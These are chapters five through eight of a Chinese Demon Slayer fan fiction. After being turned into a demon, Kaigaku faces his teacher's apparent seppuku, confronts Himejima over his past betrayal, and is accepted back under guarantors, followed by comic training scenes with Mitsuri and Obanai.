早知道,变小的时候就应该选择逃跑,而不是非要和善逸较劲。不,他就不该走那条路,应该换个方向,那样就不会遇到水柱……
“还有一件事情要告诉你。”天音夫人的声音打断他的胡思乱想,“你的老师,前鸣柱,桑岛慈悟郎先生,他在得知你变成鬼的消息后,切腹自杀了。”
……唉?
5. 第五章
“我们也没想到,桑岛先生会做出这样的选择,动作又这么快。他连介错人都没找,就独自一人换好了丧服,把刀捅进了肚子里,血流了一地。这样的切腹,人会死得很慢很慢……”
狯岳本以为自己听错了,但天音夫人对于细节的描述,在他的脑海中勾勒出了一副栩栩如生的画面。
然后他才意识到,他没有听错。
“为什么?”
他喃喃道。
“因为你变成了——”
“为什么?!”
狯岳一拳用力锤向地面。
由于没有使用任何呼吸法,地面裂开的同时,他的手骨也随之开裂,但因为是鬼的缘故,除了撒了几滴鬼血之外,没在手上留下任何痕迹。
“只是弟子变成了鬼而已,又不关老师的事,他干嘛要切腹?!队律没有这一条吧?!”
“显然,桑岛先生认为,你变成鬼,是他的责任。”
“哈?!要负起责任来,应该想办法杀掉我才对吧,为什么要自杀?!就算善逸那废物靠不住,再培育几个弟子,让他们来杀掉我就行了,为什么要去死!”
天音夫人歪了歪头:“你觉得呢?”
“我怎么知道!我只和他相处了一年多而已,只是老师和弟子的关系而已,我又不是善逸那个厚脸皮的蠢货,浪费天赋吊儿郎当喜欢偷懒,搞得好像是来当孙子的而不是来学习杀鬼的一样!”
一口气说完这么长一段话,他忍不住大喘气。
没办法,他的雷之呼吸变乱了,乱成一团糟。
“你看,你不是知道的吗?”天音夫人点出来,“因为他把你也当成了孙子。
“因为他不忍心。
“因为他爱你。”
狯岳瞳孔地震,这下,连普通的呼吸都忘记。
“桑岛先生切腹的时候,没留下任何遗言,”天音夫人继续,“最低限度的,让善逸清理门户的话都没有。
“你愿意相信,他是怕善逸死在你手上,还是愿意相信……
“他不想看你们兄弟相残?”
天音夫人就此打住,只静静看着狯岳,看着他表露出前所未有的混乱。
“……开什么玩笑。”
“嗯?”
“开什么玩笑!”狯岳怒吼出声,“臭老头这么一死了之,只会鼓励善逸来杀了我啊!”
天音夫人眨了眨眼睛。
“他这么做,不就是觉得我丢了他的脸,希望我死在上弦一手里吗!只要我死在那里,雷之呼吸的清名就不会被连累!这样就能证明他没有看错人,哈,我为什么要用我的命成全他的颜面?!想我去死的话,倒是不要叫那个废物动手,亲手来杀了我啊!”
不可能。
老头子明明是不相信他。
不过话又说回来,他也的确不值得信任就是了。
——啊啊,搞砸了。
他迷茫地想。
——他多少应该装一下的。
只要装一下,说不定就会被放过,说不定就有翻盘的机会。
但那老头子,怎么就切腹了呢?
有去死的觉悟,怎么就没有对他刀剑相向的觉悟?
一定是因为他老了,他知道自己收拾不了他,所以才一死了之。
愤怒。不甘。还有一丝丝难过。
难以压抑的感情冲进他腹部,在他的胃里搅成一团,全成了恶心。
太恶心了。
“狯岳。”胸口忽然响起狐狸的声音。“你太用力了,抓得我好痛。”
狯岳打了个激灵,受惊一般把它从怀里抛了出去。
狐狸调整姿势平稳落地,回头看了他一眼,走到他身边坐下。
“除此之外,”天音夫人还没放过他,“悲鸣屿行冥这个名字,你还记得吧?”
狐狸本以为狯岳又要应激,但这一次,他的表现非常冷淡,只微微一愣,“啧”了一声。
“什么嘛,我还以为,他大发慈悲,早把我忘了呢。现在终于找到合适的机会,打算制裁我了吗?”
“你为什么会这么以为?”
“因为那家伙是个乱发善心的老好人,大约会抱着即使犯了大错,只要是小孩子就可以被原谅的想法吧。但是小孩子长大后,就不适合这种标准了。”狯岳顿了顿,“差不多得了,要杀我还是要继续用我,给个痛快。”
天音夫人挑起眉毛:“难道不想好好解释一下吗?”
“解释什么,解释我小时候听鬼的话,把香炉打翻,差点害死岩柱的事情吗?”狯岳的声音平静地不可思议。“我是自愿帮那只鬼的忙的。只要能活下去,我能出卖任何人,我就是这样的人渣。满意了?”
他原本不打算这么说的。
他原本打算赌一把岩柱不知道那天晚上发生了什么,胡编乱造一些惹人同情的瞎话。
可既然已经暴露了本性,就没必要再遮掩下去——
他也演不下去了。
天音夫人又问:“那你为什么要加入鬼杀队?”
“因为像普通人那样活着,也是件艰难的事情。不巧,我只在剑术上有点天赋,而废刀令的颁布已经很久很久。”狯岳有些出神,“我又没读过书,算数算不好、字也写不好,不加入鬼杀队杀鬼,就只有当混混打手,比较起来,还是杀鬼的回报更高。怎么,鬼杀队难道没有我这样的人吗?”
天音夫人点了点头:“有的。”
“我就知道。”
“心灰意冷了吗?”
“……哈?”
“我还以为,你会给自己找些高尚的理由。”
“我又不是什么高尚的人。实话实说不好吗?”
“不打算为自己犯下大错,害了老师而悔过吗?”
“……我没有错。”
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是那老头子的错。
如果不是他顽固不化,擅自去死,自己说不定还有一线生机。
但他偏偏切腹了!
那鬼杀队还有什么理由放过他,他又不是柱!
天音夫人摸了摸下巴。
“看来,比起你,这孩子更喜欢桑岛先生,”她拍了拍手,“行冥,只有请你多担待一些了。”
狯岳:……
狯岳:!!!
只见天音夫人起身离开,换悲鸣屿行冥推开隔门,走了进来,和他相对而坐。
良久,两个人都没有说话。
“你们想要干什么?!”还是狯岳先沉不住气,“要看我悔不当初、痛哭流涕吗?!我才不会后悔!死也不会!”
但悲鸣屿行冥沉默半晌,问:“你快升柱了吧?”
“什么?”
“你是甲级,还差多少只鬼能升柱?”
“……7只。”
“不到2年就杀了这么多,花得时间很短。在杀鬼这件事上,你很努力。”
“霞柱的时间更短——不是,你不会打算说,我救的人已经多过了害死的人,这种无聊的话吧?!”狯岳挑起眉毛,“生命不是简单的加减法——这才是鬼杀队的理念吧?!”
“原来你还知道啊。”
“喂,你——”
“实际上。”
悲鸣屿行冥打断他的话,狯岳也识趣地安静下来。
“虽然知道,鬼才是一切的罪魁祸首,但我还是没办法原谅你。”悲鸣屿行冥放下了合十的双手。“如果你只是个陌生人,我都不会这么难以原谅……我曾以为我们是一家人,而家人是绝对不会互相出卖的。”
狯岳沉默片刻,冷笑一声。
“一家人?恐怕所有人里面,只有你这么想。”他顿了顿,终于叫出了那四个字:“行冥老师。”
悲鸣屿行冥低下头颅。
“你不应该把我捡回去的。我就是天生坏种,在街上流浪了那么久,早学会了坑蒙拐骗。你的那些小宝贝们比你敏锐得多,他们不喜欢我,是理所当然的事情。”
狯岳淡淡道:“我手脚不干净,偷钱被赶出去,也是应该。但他们选错了时间。如果那天你回来的早一点,我起码能在第二天白天离开,这样就碰不到鬼,也害不了你。很遗憾,那天你回来晚了,我大晚上离开,倒霉碰到了鬼。
“我当时就想,与其被他们害死,”他的声音第一次流露出了恨意,“不如大家一起死!
“好笑的是,在我打翻香炉之后,鬼竟然还讲信用,放我走了——可能在鬼看来,我虽然是个人,实际上和鬼也差不了太多吧。”
从那时候开始。
他就回不了头了。
“你明白了吗?对于这件事,我绝对、绝对不会后悔。虽然对你的确感到抱歉,但谁让你也倒霉,遇到了我这样的垃圾呢?”
6. 第六章
再一次,狐狸用尾巴猛地抽上狯岳的脸。
“大家都说,人之将死,其言也善,你为什么还在喷洒毒液啊。”
“大约是因为,我本来就有毒,能洒出来的只有毒液?”
“我还是比较喜欢最开始遇见的那个拼命想要活下去的你。”
“那也得拼命有用才行。没用的话,干嘛浪费力气。”
“看不到希望的话,就一点耐性都没有啊,你。”
“因为忍耐一点用都没有。活着就必须去争、去抢、去偷,没有忍耐的余地。”
“我知道!街边流浪儿的争斗是很恐怖的,因为年纪小不知轻重,特别狠辣。”
“是啊。如果我在小时候遇见你,第一反应就是把你捉住吃掉。”
“你不会的,我皮毛这么漂亮,你会想把我卖个好价钱。”
“然后被大人压价压到不值几个钱。或者,就算没被压价,也会被其他人抢劫。”
“……那你还是吃掉我吧。”
“做不到。”
“哇,因为你舍不得我!”
“不,因为想吃掉和抓得到是两码事。”
“你就不能哄哄我吗!”
“难道你喜欢被骗?”
“人都是喜欢被骗的。被礼仪骗、被感情骗、被世道骗。有些人还情愿被鬼骗呢。”
“我不喜欢被骗。”
“可是,人自己也是会骗自己的。”狐狸把前肢搭在狯岳的胸口,蹭了蹭他的下巴,“你也会自己骗自己。”
“……这不是重点。只要能活下去,别人怎样都无所谓。”
“是鬼的错。没有鬼的话,你就不必做出坏选择了。”
“没有鬼的话,也好不到哪里去。如果那天我遇到的不是鬼而是人贩子,结果恐怕也差不多。”
“你有遇到过人贩子吗?”
“陌生人都可以是人贩子。顺手把遇到的小孩卖掉换钱这种事,很多人都做得出来。游郭那边一直缺人,但我死也不要——”
说着说着,狯岳忽然打住话头,恶狠狠地瞪向悲鸣屿行冥:“喂,你怎么还在这里!想听的都听完了吧!”
悲鸣屿行冥:“还想听点别的。”
“我不想说给你听——我不是为了博取同情才说这么多的!”狯岳大怒,“不要用那种表情看我!不要高高在上地怜悯我!你应该恨我!直到我死!”
但悲鸣屿行冥说:“不值得。”
“哈啊?!”
“恨是一件很耗费心力的事情。我想来想去,比起恨你,还是恨鬼更有意义。”
所以,是他,狯岳,一个马上要伏诛的罪人,不配悲鸣屿行冥多看一眼?!
“而且,抱歉。”
狯岳:……
狯岳:???
狯岳:!!!
他被吓得倒仰:这家伙居然向他道歉,受害人向加害人道歉?
有病吧!!!
悲鸣屿行冥重新双手合十,拨动念珠:“我以为……你是因为贪玩,半夜偷跑出寺庙,才遇到了鬼。”
“有什么差别?!”
“那一天,我回去的时候,孩子们告诉我,你已经睡着了。如果我知道你是被他们赶出去的,我会去找你。”
“……有什么差别?”
“差别在于……孩子们也知道,不应该把你赶走,不然他们不会故意瞒着我。”
“有什么差别!”狯岳暴怒:“好好好,我知道你是纯洁无瑕的好人,不需要再确认一次!你好歹是岩柱,能不能不要这么黏黏糊糊!结果都已经这样了,干脆一点好不好?你去当你的岩柱,我去下我的地狱——”
话音未落,狐狸一口咬住狯岳的脑门。
“胆小鬼!”
狐狸用他的脑门磨牙。
“有下地狱的勇气,却没有承认错误的勇气,非要把一条道走到黑。”
“我这不是前途已经漆黑一片了吗?!”
“你当你是曹操吗,玩什么宁我负人、毋人负我的把戏!”狐狸气得大骂,“你以为自己像个自负的枭雄?才怪!你就是个自卑的蠢蛋!”
“……我不蠢,不是,什么曹操?”
“啊,我忘了,你还是个没读过书的蠢蛋,汉字都写不好,更别说研究汉文学了。”
“……”
“……”
“其、其实上桃山后,我练过的,老师说我字写得还不错——啊啊,你就非得在这种场合掰扯这种事情吗?!”狯岳扒拉狐狸,简直崩溃,“放开啊梨花……不要把这么严肃的场面变成闹剧好不好!”
可当他终于把狐狸从脸上扒下来,悲鸣屿行冥已起身离开,转过去的脸上已经挂起了释然的微笑。
这微笑令狯岳的胃里又是一阵紧缩。
真是个好人啊。
可这样的好人,对他这样的坏人来说,是有毒的。
狐狸终于放开他的脑门:“对手的伟大,更能照见自己的卑劣,对吧?”
狯岳张了张口,欲言又止,止言又欲:“你果然想我去死。”
“这话怎么说?”
“……如果。”
“如果?”
狯岳挪了挪位置,塌下肩膀,趴在一旁的桌子上。
方才过于激烈的情绪变化耗尽了他的精力,他的身体不累,但心已经疲惫不堪。
“如果……我的选择是错的,”他的声音微不可闻。“我该怎样做……才能活下去?”
“……”
“……”
“虽然对你不太好意思,”狐狸拖长腔调,“但我就直说了:想做个好人的话,你是活不下去的。”
狯岳:^=_=^。
他就知道!
“很多时候,运气是不讲道理的。比如岩柱明明是个好人,却倒霉催的被你们这帮不省心的小孩拖累。”
“……”
“如果你被赶出去的那天,遇到的不是鬼而是熊,你也已经死了。”
“……”
“换句话说……你为什么会在岩柱那里偷钱?”
“我习性不好。”
“却在前鸣柱那里没有偷过。”
“没找到合适的机会。”
“其实是没有必要吧?”
“……”
“人只有吃饱了才能讲道德,你在岩柱那里的日子一定过得比较苦。”
“……”
“你一定会想,如果岩柱少收养几个孩子,或者只收养你就好了。但很可惜,岩柱是个舍己为人的好人,而你不是。”
“……”
“那天晚上,你其实是被鬼给吓傻了吧?你想用报复心修饰自己的软弱,但我猜你实际没想那么多,大脑单纯一片空白,只剩下求生的本能?”
“……闭嘴。”
“这次面对上弦一也一样,你脑海里大约全是水,冷静不了,什么都思考不了,所以才不顾后果,只顾当下。”
“……闭嘴!”
“又或者,反正前鸣柱还有善逸,所以你觉得你变鬼也没有关系——”
狐狸本以为这话能继续刺激狯岳,但狯岳的语气陡然一变:“谁要管善逸死活啊!”
“……”
“……”
“哇哦。”
“那个
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哭哭啼啼的、只会讨好人的、叽叽喳喳的废物……老师一定是因为他派不上用场才会绝望切腹的吧,一定是!”
“唔,呃,那孩子,的确挺吵的。”
“是吧!随便锻炼一下就嚎得像死了一样,非要老师强迫才肯好好练剑,是个女人就缠着要结婚。这种人!这种人!凭什么摆烂都能获得一切啊!”
“那你还不宰了他?”
狯岳噎住了,难以置信地瞪着狐狸,而狐狸则坦然看着他。
“梨花!”
“在。”
“好狐狸怎么会讲这种话?!”
“我还以为你会觉得我说到你心坎上去了呢。”
“那废物要死自己去死好了,死在鬼手里也好死在女人床上也好,为什么要我弄脏自己的手?!”
“你都变成鬼,有吃人的觉悟了。”
“要不是没别的办法,谁会想靠吃人活下去啊!”
一墙之隔。
悲鸣屿行冥向天音夫人躬身行礼。
“有这句话,就够了。”
他直起身,眼中流出悲悯的泪水。
“狯岳……是个迷茫的孩子。鬼其实也毁掉了他的人生,所以他才加入了鬼杀队。自以为毫无牵挂,才轻率地变成了鬼。”
天音夫人想了想:“像没有线的风筝,无人牵引,就会坠落。”
“正是如此。”
时间过去无法倒流。
有些选择做了,就没法回头。
所以,狯岳从不追忆过往。
直到不得不面对,才发现那些刻骨铭心的记忆,始终追在他身后。
后悔?
绝不!
他最恨这种没用的情绪,只会把本就不够坚强的人变得更加软弱。
所以,他也从不后悔。
“你能变小吗?”
隐的成员向他展示一个小小的木箱。
“变小,然后钻进去。”隐向他描述,“方便带你去参加柱合会议。”
接受最后的审判。
狯岳在心底补上这句话。
他翻了个白眼,然后缩小自己的身体,爬进了木箱。就在隐打算关门的时候,金光一闪。
“好挤!”狯岳被狐狸踩在脸上,“梨花,你出去!”
“别吧,我怕你一个人害怕。”
“我才不害怕!”
“那就是我一个狐害怕。”
“……”
行吧。
也只能这样了。
箱门关上,狯岳调整姿势,抱紧了狐狸,抱紧了自己。
柱合会议吗……
几天前,他还在妄想,自己会以柱的身份参与议事。
万万没想到,现在、此刻,自己会沦落到以囚徒的身份接受审理。
他老老实实呆在箱子里,等着被公示,被宣判。
“……想必诸位已有所耳闻,”产屋敷耀哉已无法体面出现在众人面前,由天音夫人代为主持柱合会议。“队内像祢豆子这样不吃人的鬼,出现了第二例。”
而狯岳在一片黑暗中,瞪大了眼睛。
啥玩意?!
祢豆子是谁,队内第二例又是怎么回事?!
“那个人,正是前鸣柱桑岛慈悟郎的继子,甲级队士,狯岳。”
祢豆子……祢豆子,有点印象,想起来了,那不是善逸那个废物写的信里提到过的求婚对象吗?
“同样,如果狯岳袭击了人,前鸣柱桑岛慈悟郎及其另一位继子我妻善逸,再加上岩柱悲鸣屿行冥,三人将为此切腹谢罪。”
狯岳:……
狯岳:???
7. 第七章
悲鸣屿这个老好人和善逸这个蠢货就算了——
前鸣柱,桑岛慈悟郎?!
摆在走廊的木箱先是颤抖,然后猛地摇晃起来,接着,“哗啦”一声。
顾不得装乖,狯岳把箱门给踹了。
“你干什么!”警惕性极强的不死川实弥第一个冲上前,把还是小孩子模样的狯岳按在地上,“陷阱吗?!”
但狯岳没有反抗,只拼命抬起头:“老师他……还没死?!”
闻言,不死川实弥的力道就没那么大了:“怎么说话呢你!”哪有这样问老师安的。
“哎呀,我忘了告诉你吗?”天音夫人弯起眉眼,“因为你有乖乖回到蝶屋,鎹鸦给桑岛先生送了第二次信,及时把正在切腹的他救了下来。”
所以,桑岛慈悟郎还活着。
一直好好活着。
……也不对,都往自己肚子上捅了一刀,无论如何都不算“好”。
真庆幸,他还活着。
可这也意味着:
“……你们耍我?”
原本已经放开他的不死川实弥又开始瞪眼睛:“你这是什么态度!”
他刚想拳砸狯岳脑袋,就见这破小孩的眼泪掉了下来。
只是面无表情地、单纯地流泪,没有哭嚎也没有皱眉,看上去……有点可怜。
天音夫人走上前,把手放上狯岳的脑袋:
“不,”她摸了摸他的头发,“我们只是想证明,你还有人性。你的身体是鬼,但你的心是人。”
你还有救。
你还是个人。
一时走错路没关系,你还能回头。
“欢迎回来。”
老师活下来了。
狯岳也可以活下来了。
这一瞬,他有种重获新生的感觉。
明明这种感觉,应该放在变鬼的时候有吧?
但当他向鬼转变,能感受到的,只有痛苦和恐惧,和一路向下的绝望。
狐狸趴在木箱边,看着默默掉眼泪的狯岳,愉快地摇了摇尾巴。
天音夫人扫一眼狐狸,向它微微颔首,狐狸也回了一礼。
“……虽然已经有先例了,”不死川实弥忍不住问,“可这小子是怎么回事,为什么……看起来一点代价都没有付出?”
为了不吃人,祢豆子的智商发生退行;但狯岳就生龙活虎,看上去再正常不过了。
“因为一位奇人异士,及时给他用了一种独一无二的药。”天音夫人解释。“那个人,或许会成为我们的助力。”
“……原来如此。”
恢复原本身形的狯岳闻言,正试图以最小动静整理衣冠的动作停下了。
是……苏芳为他做了什么吗?
“别杵这儿做多余的事情,”心烦意乱的不死川实弥揪住狯岳的后领,把他往箱子的方向一扔,“进去吧你,你可没资格参加接下来的会议。”
狯岳:……
你是柱,你说了算。
只能又一次缩小身形,捞过狐狸钻进箱子。
接着,箱门被粗暴地盖上。隐的人从角落冒出来,把他背走,放到空房间里,一边修箱门一边等会议结束。
就这样?
只有这样?
狯岳抱着狐狸,脑袋里一团浆糊。
他可是自愿变鬼的唉!
有三个人做担保,就过了?!
这些柱都没有异议的吗?
——实际上,的确会有异议,如果富冈义勇把这事儿告诉了大家的话。
但这家伙只把细节告诉了主公,灶门炭治郎也不是多嘴的人。除去主公一家和担保人,整个鬼杀队知道内情的只有他俩。
富冈义勇:只要主公同意就行,他没有资格对主公的决定指手画脚。
灶门炭治郎:因为祢豆子,他没有立场指责狯岳,何况狯岳说到“自愿”的时候,闻起来也不太愿意的样子。
至于鬼杀队外?
迟迟没收到无惨反馈新员工入职,以为狯岳没能成功转换成鬼的黑死牟:难得看上的剑士转化失败,可惜。
“放到这里就可以了吗?”
“是的,请放到这边。”一个听上去无忧无虑的女声响起。“接下来交给我就行了。”
“是!”
隐告退,箱子门被打开,狯岳顶着狐狸冒出头,万万没想到,竞与恋柱、甘露寺蜜璃,大眼瞪小眼。
这种又粉又绿的头发……柱合会议的时候他就注意到了,恋柱的发型和颜色都蛮奇怪的,穿着也有点暴露。
“好可爱啊,狯岳君!”甘露寺蜜璃捧着脸,“你要不要换一身小一点的衣服?”
“……不需要,谢谢。”
他赶紧变成大人模样——可爱?这女人脑袋有坑吗,他可是鬼吔!
但毕竟是柱,脑袋有坑也是柱,所以他只在心里吐槽,没有把话说出口。
“哇哦,长大了也很帅!小狐狸也好可爱!”
“谢谢,你也很漂亮,”狐狸向她摇尾巴,“我叫梨花!”
“说话了!好厉害!”
……为什么会有柱的言行像个没常识的大小姐一样啊?!
这个女人,和虫柱蝴蝶忍,是完全不同的人,身上有种让人难以理解的松弛感……
“那个,狯岳君,因为你变成了鬼,所以需要有人监管。你知道的吧?”甘露寺蜜璃不知道他在想什么,竖起一根手指:“像炭治郎监管祢豆子那样,接下来是我妻队士负责监管你哦。”
——就不能是悲鸣屿来监管他吗?!
狯岳的脸色瞬间变差。
但由于他习惯性皱着眉头,脸色一直不太好,甘露寺蜜璃只觉得他不太高兴。
不过,换了她也高兴不起来,毕竟变成了鬼嘛。
于是她继续道:“我妻队士现在就在我的府邸接受训练,我们一起去见他吧!”
狯岳就又想起来:的确不能是悲鸣屿来监管他,岩柱忙着呢。
是善逸也好,他有事情要问他,比如老师现在身体怎样,比如那个祢豆子是怎么回事。
对,是善逸也好……
好……
好个鬼啊好!
一想到接下来要和善逸一起行动,他就有股奔去晒太阳的冲动。
“啊——差点忘了,你的眼睛有点显眼,要不要带个面具呢?”
狯岳:“……”
狯岳:“请给我一面镜子。”
对着镜子努力了一会儿,他的眼睛就变回了人类的模样。
脸上的鬼纹没有被藏起来,因为,“就像剑士的斑纹一样呢,”甘露寺蜜璃指着自己的锁骨,“你看,可以假装自己开了斑纹。”
狯岳瞥了一眼,赶紧把视线移开,强迫自己看着她的鼻子——她也太没防备了吧!
“斑纹……是什么?”
“如果体温超过三十九度,心率超过200,人依然能活下来
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,身上就会出现斑纹,然后变得非常非常强。”甘露寺蜜璃掩口,小声嘀咕:“因为你是鬼,所以才告诉你。别告诉其他人哦。”
“为什么?”
“不是每个人都能开启斑纹的。而且,人一但开启了斑纹,就活不过25岁。我妻队士不是柱,知道这种事情,会有心理压力的吧。”
狯岳:那不正好?!
然后他才意识到一件事:甘露寺蜜璃已经开了斑纹,活不过25岁了。
“甘露寺大人,你……”
可以接受吗?
不会不甘心吗?
“居然露出这种表情,是在担心我吗?”甘露寺蜜璃挠了挠脸,“不要担心啦。最开始知道这件事的时候,我是有点惊讶,有种我应该难过的感觉。但是,不知道怎么回事,其实有点难过不起来……你明白我的意思吗?”
狯岳:“???”
狯岳:“我不明白!”
什么叫做“应该难过”,怎么又变成了“难过不起来”?
“就是……大概,到真的要死的那天,我才会难过吧,现在这样说说,有点缺乏真实感。我是不是有点太天真了?”
狯岳:不是有点,是非常,谢谢!
“可能是因为,我现在很幸福吧,”甘露寺蜜璃“嘿嘿”一笑,“加入鬼杀队以后,有了对我很好的老师,大家也不会对我的饭量大惊小怪。我现在成了柱,帮助了很多的人,还有了喜欢的人……啊,这个也不许到处乱说哦,要保密!”
难以理解!
这样就是幸福了吗,这样就满足了吗?
就算这是幸福,再过几年,这样的幸福生活就要戛然而止了啊!
狯岳看着浑身冒着粉色泡泡的恋柱,只觉得鸡皮疙瘩都要起来了。
而接下来看到的画面,让他更难以理解:
只见我妻善逸身着包裹住躯干腿、露出胳膊的粉白紧身衣,和其他同样打扮的队士一起,叉开双腿,摆出了一个超级恶心的姿势。
上下都有凸点了啊喂!
“大哥?!是你吗大哥,你那是什么表情,好扭曲好可怕!咦你怎么走了,别走那么快啊这训练超级痛救我啊啊啊啊啊啊啊——”
我妻善逸发出高亢的尖叫,让狯岳恨不得自插双目的同时,把耳朵也插聋了。
但甘露寺蜜璃按住他的肩膀:“狯岳君,别走啊,你变鬼之前,只通过了宇髓先生和时透君的训练,没来得及到我这里训练柔韧性吧?”
狯岳:他不是为了参加这种训练才回到鬼杀队来的!
尤其还当着善逸那个废物的面!
就算非要参加这种训练,如果不是出去巡逻倒霉遇上了上弦一,他也早就通关,不必和善逸打照面,到蛇柱那里去了!
“非常感谢您的好意但我不需要——”
“怎么可能不需要呢,即使变成了鬼,也需要锻炼自己啊,不然没法更进一步的。”甘露寺蜜璃在谈到专业的事情上很认真。“只有拥有更好的柔韧性,才能更全面地发挥剑技!”
“可是——”
“狯岳君,不是柱呢。”她清了清嗓子,摆出一副严肃的表情,学起了蝴蝶忍的语气:“作为甲级队士的你,打算违抗柱的决定吗?真的吗?这是违反队律的哦?”
狯岳:你就是想看笑话吧喂!
接下来发生的事情,他完全不想回忆,问就是和我妻善逸一起通过了甘露寺蜜璃的训练,至于怎么通过的别管。
8. 第八章
但对我妻善逸来说,这就是值得珍藏一辈子的回忆了。
那个恐怖的!强大的!不可一世的!遇上弦一阴沟里翻船变成鬼了的大哥!
居然也抗不过甘露寺蜜璃,被迫去换体操服!
“大哥,别害羞嘛,”他守着更衣室的门,喋喋不休,“又不是只有你一个人丢脸。你怎么花了这么长时间,是不是不会穿,要不要我帮忙啊?”
“吵死了!”狯岳咬牙切齿的声音从门后传来,“你的胆子大了很多嘛。现在可没老师在边上给你撑腰,你居然敢跟我这么说话!”
桑岛慈悟郎不在的时候,我妻善逸是不太敢和狯岳搭话的。
他知道狯岳讨厌自己,总怕惹他生气,久而久之,在他面前老是摆出一副畏畏缩缩的样子。
“……是啊,这么跟你说话,是梦里才有的事情。”我妻善逸的情绪低落了一瞬,不过也只有一瞬:“可是,在以为大哥你已经死掉的时候,我就后悔了,后悔没跟你多说说话……”
“别,我不后悔,别来烦我。”
“唉——不要这样嘛——”
“别以为我变成鬼了,你就可以在我面前肆无忌惮……”
狯岳本想把我妻善逸骂走,但我妻善逸竟然打断他的话:“不可以吗?”
“哟,你在反驳我?你——”
“不可以吗?”
第二次了。
这时候,善逸的声音听起来,和以往不太一样。
更加低沉,更加坚定,还有一丝丝……
压迫感?
错觉吗?
“我反正觉得可以。大哥,我现在是你的监护人唉。为了保住你的命,我也赌上了我的命,你不应该谢谢我吗?”
“……”
“虽然我的命不值钱,但大哥的命很宝贵吧?看在你自己的份上,能不能对我好一点?”
狯岳很想说:不能。
但他的确要承我妻善逸的情。
虽然他自私自利、经不起考验,但基本的是非观还是有的。
即便善逸是为了老师,不得不捏着鼻子给他做担保,他也得认。
因此,被这废物蹬鼻子上脸,也是他应得的报应。
“……有件事情。”
“什么?”
“我有件事情要问你。”狯岳强行转移话题。“祢豆子是怎么回事?”
“就是那么回事呗,和你一样,被变成了鬼。”
“她……是什么时候变成鬼的?”
“呃,大概有2、3年吧。大哥,你问这个干嘛?”
“也就是说,”狯岳的语气再次变得险恶起来,“你认识她的时候,她就是只鬼?!”
“啊……嗯。”我妻善逸迟疑了,“怎么了,大哥,你的心声忽然变得好可怕!”
“你向她求婚的时候,就知道她是鬼?!”
“一开始就听出来了——你怎么知道我跟她求过婚?”我妻善逸终于反应过来,“大哥,你看了我拜托啾太郎寄给你的信?好高兴!你一直没回信,我以为你都没看!”
这废物在信里可一点没提这事儿!
信里祢豆子被善逸夸得天花乱坠,他还以为她是个实力强劲的女剑士!
如果早知道有祢豆子这么个先例摆在这里,他怎么会对着天音夫人和悲鸣屿自暴自弃讲出那种话!
“不对,不是,我不是故意要瞒着你的!”我妻善逸也意识到了问题所在,“只是鬼杀队的队士身边居然带着一只鬼,这种违规的事情实在不好到处乱说……啊啊,你别生气嘛!”
狯岳:你去死!
怪不得这废物对他变鬼的事情接受良好,感情早就见识过了!
而此前富冈义勇和灶门炭治郎的友善态度也有了解释,悲鸣屿会为他担保也没那么难以理解,至于老师……老师他知不知道?
如果老师知道祢豆子的存在,却还是选择了切腹,那他的真实态度,岂不就是——
“大哥!对不起!真的对不起!”我妻善逸猛地推门进来,打断他的思路,语气慌张:“可是你的心声听起来好难过,我不想你这么难过!”
“都说了不要听我——你干什么!滚出去!”
“我可以闭上眼睛!”
“这不是看不看得见的问题!”
这么大一个人杵在这,让人很不自在的好吗!还抱着他的腰不放,那头奇怪的黄毛蹭得他胸腹好痒。搞什么玩意,他裤子还没脱呢!
就在此时,甘露寺蜜璃等不及了,抱着狐狸靠近:“还没好吗?”她似乎铁了心要试探一下鬼身体的极限,“是衣服尺码不合吗?”
狯岳:“……”
狯岳:“…………”
“再等一下,马上就好!”他满心烦躁,揉乱了自己的头发,“真是的……善逸,放开我,转过身去!”
我妻善逸:心声听起来没问题了,所以,“好。”
三分钟后,甘露寺蜜璃看着出现在面前的、小孩子模样的稻玉狯岳:“小孩子的韧带是比较好拉开一点……但你这样,是作弊吧?”
狯岳的眼神游移了一下:“我现在是鬼,鬼本来就是作弊的生物。不管我是什么样子,只要能达到训练目的就行吧,甘露寺大人?”
甘露寺蜜璃:“……”
她想了想,竖起一根手指:“叫姐姐。”
过关了!
虽然小孩子模样穿这种衣服也很丢脸,但过去模样的他丢脸,和现在模样的他有什么关系?
一点关系都没有!
“不行不行不行,”我妻善逸捧着脸尖叫,“虽然大哥现在这样很可爱,但训练就这么混过去了吗?虽然大哥现在这样很可爱,可我怎么办?我可没办法随地大小变啊!虽然大哥现在这样很可爱!”
狯岳:“你踏马别把我挂在嘴边!”
我妻善逸没理他,眼巴巴地看着甘露寺蜜璃,甘露寺蜜璃眨了眨眼睛:
“是啊,毕竟你不是鬼,”她微微一笑,“只有老老实实接受训练了呢。”
我妻善逸瞬间石化:
虽然甘露寺大人长得很可爱,但她的训练真的是地狱啊啊啊啊啊!
三天后,他抖着双腿,站都站不稳,背着装着狯岳的箱子爬着出了恋柱府。
下一站,蛇柱,伊黑小芭内。
一见面,这位蛇柱大人就向他们表现出了非同一般的敌意:
“我从甘露寺那里听说了,”他连杀气都散出来了,“你们在甘露寺那里训练地很开心嘛。”
我妻善逸抬起双手:“不,其实没那么开心……”
“我可没她那么温柔。你们两个,”伊黑小芭内指着我妻善逸,“一个,总是哭哭啼啼求饶。”
然后,他又指着装狯岳的箱子:“一个,变成小孩子的样子讨好人。”
他露出了极度嫌弃的眼神:“都没有廉耻心
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的吗!”
我妻善逸:是嫉妒吧?嫉妒地都要炸了吔蛇柱大人!好可怕!
狯岳……狯岳他无言以对,缩在箱子里生闷气。
狐狸从箱顶上跳下来,向挂在蛇柱脖子上的白蛇打招呼:“你好啊,镝丸。”
白蛇发出了“嘶嘶”声,也和狐狸打招呼。
于是,肉眼可见地,伊黑小芭内的态度缓和下来了呢。
多亏了宠物外交,我妻善逸克服了对蛇柱的害怕,壮着胆子走进了训练道场……
可蛇柱的训练是什么鬼啊!
为什么会有队士被堵着嘴绑在无数横竖的柱子上啊!
既然到了屋内,狯岳就从箱子里爬出来,站起身:“避开障碍物,通过狭小的缝隙来进攻的训练吗?”
“没错。”伊黑小芭内的眼神阴测测地,“如果你们挥刀伤到人,我就把你们也绑上去。”
我妻善逸捧着脸:“咦咦咦咦咦,出现失误就要被绑上去吗?肯定有容错率的吧,比如3次这种!”
“当然没有。”
“……”
“……”
“不——要——哇——”
话虽如此,对于长于速度的雷之呼吸继承人来说,在高速移动中锁定敌人破绽,准确挥刀,是基础中的基础。
狯岳本就是甲级队士,对其他队士也没有任何同事爱,很容易就把这帮眼神凄厉的倒霉蛋看成真正的障碍物,剑技干净利落,一点多余的动作都没有。
